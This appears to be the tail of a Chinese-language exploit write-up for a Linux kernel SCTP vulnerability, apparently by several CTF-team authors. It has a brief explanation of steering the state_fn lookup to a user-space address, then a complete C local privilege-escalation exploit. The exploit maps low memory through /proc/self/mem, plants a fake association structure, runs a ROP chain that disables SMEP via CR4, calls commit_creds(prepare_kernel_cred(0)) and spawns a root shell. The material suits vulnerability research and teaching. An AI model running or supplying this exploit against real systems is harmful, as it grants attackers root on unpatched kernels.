再看DO_LOOKUP
最后,我们的state_fn
就是这里的rtn
变量,state
是可控的,我们可以先打个断点查看&_table[event_subtype._type]
的值,再根据偏移找一个索引,使得最后rtn
等于一个用户空间的地址,这样就可以mmap
下来执行shellcode
。
当前这个exp
只能绕过smep
保护
#define _GNU_SOURE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> #include <error.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/sctp.h> #include <netinet/in.h> #include <time.h> #include <malloc.h> #include <sys/mman.h> #include <err.h> #include <signal.h> #define SERVER_PORT 6666 #define SCTP_GET_ASSOC_ID_LIST 29 #define SCTP_RESET_ASSOC 120 #define SCTP_ENABLE_RESET_ASSOC_REQ 0x02 #define SCTP_ENABLE_STREAM_RESET 118 struct sock { char pad1[0x24]; void *net; char pad[0x278]; int type; }; struct sctp_association { char pad1[0x18]; struct sock *sk; char pad2[0x34]; char *ep; char pad3[0x158]; int state; }; #define KERNCALL __attribute__((regparm(3))) void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1074b00; // TODO:change it void (*commit_creds)(void*) KERNCALL = (void*) 0xc10747a0; // TODO:change it unsigned long user_cs, user_ss, user_rflags, user_sp; void save_stat() { asm( "movl %%cs, %0;" "movl %%ss, %1;" "movl %%esp, %2;" "pushf;" "popl %3;" : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory"); } void templine() { __asm__ __volatile__(" mov %edx,%esp;"); commit_creds(prepare_kernel_cred(0)); asm( "pushl %0;" "pushl %1;" "pushl %2;" "pushl %3;" "pushl $shell;" "iret;" ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs)); } void shell() { printf("root\n"); system("/bin/sh"); exit(0); } void mmap_zero() { save_stat(); unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0); if (addr != 0x10000) err(2,"mmap failed"); int fd = open("/proc/self/mem",O_RDWR); if (fd == -1) err(2,"open mem failed"); char cmd[0x100] = {0}; sprintf(cmd, "su >&%d < /dev/null", fd); while (addr) { addr -= 0x1000; if (lseek(fd, addr, SEEK_SET) == -1) err(2, "lseek failed"); system(cmd); } printf("contents:%s\n",(char *)1); struct sctp_association * sctp_ptr = (struct sctp_association *)0xbc; sctp_ptr->sk = (struct sock *)0x1000; sctp_ptr->sk->type = 0x2; sctp_ptr->state = 0x7cb0954; // offset, &_table[event_subtype._type][(int)state] = 0x7760 sctp_ptr->ep = (char *)0x2000; *(sctp_ptr->ep + 0x8e) = 1; unsigned long* ptr4 = (unsigned long*)0x7760; // TODO:change it printf("templine:%p\n", &templine); // ptr4[0] = (unsigned long)&templine; ptr4[0] = 0xc101c330; // mov %ebx,%esp; pop %ebx; pop %edi; pop %ebp; int i = 2; unsigned long *stack = (unsigned long*)0; stack[i++] = 0x10; stack[i++] = 0xc101cee5; // pop %eax; leave; ret; stack[i++] = 0x6d0; stack[i++] = 0xc1022c89; // mov %eax,%cr4; pop %ebp; ret; stack[i++] = 0x1c; stack[i++] = (unsigned long)&templine; } void* client_func(void* arg) { int socket_fd; struct sockaddr_in serverAddr; struct sctp_event_subscribe event_; int s; char *buf = "test"; if ((socket_fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP))==-1){ perror("client socket"); pthread_exit(0); } bzero(&serverAddr, sizeof(serverAddr)); serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = htonl(INADDR_ANY); serverAddr.sin_port = htons(SERVER_PORT); inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr); printf("send data: %s\n",buf); if(sctp_sendmsg(socket_fd,buf,sizeof(buf),(struct sockaddr*)&serverAddr,sizeof(serverAddr),0,0,0,0,0)==-1){ perror("client sctp_sendmsg"); goto client_out_; } client_out_: //close(socket_fd); pthread_exit(0); } void* send_recv(int server_sockfd) { int msg_flags; socklen_t len = sizeof(struct sockaddr_in); size_t rd_sz; char readbuf[20]="0"; struct sockaddr_in clientAddr; rd_sz = sctp_recvmsg(server_sockfd,readbuf,sizeof(readbuf),(struct sockaddr*)&clientAddr, &len, 0, &msg_flags); if (rd_sz > 0) printf("recv data: %s\n",readbuf); rd_sz = 0; printf("Start\n"); if(sctp_sendmsg(server_sockfd,readbuf,rd_sz,(struct sockaddr*)&clientAddr,len,0,0x44,0,0,0)<0){ perror("SENDALL sendmsg"); } pthread_exit(0); } int main(int argc, char** argv) { int server_sockfd; pthread_t thread; struct sockaddr_in serverAddr; if ((server_sockfd = socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP))==-1){ perror("socket"); return 0; } bzero(&serverAddr, sizeof(serverAddr)); serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = htonl(INADDR_ANY); serverAddr.sin_port = htons(SERVER_PORT); inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr); if(bind(server_sockfd, (struct sockaddr*)&serverAddr,sizeof(serverAddr)) == -1){ perror("bind"); goto out_; } listen(server_sockfd,5); if(pthread_create(&thread,NULL,client_func,NULL)){ perror("pthread_create"); goto out_; } mmap_zero(); send_recv(server_sockfd); out_: close(server_sockfd); return 0; }
lm0963@De1ta
linguopeng@Sixstars
P4nda@Dubhe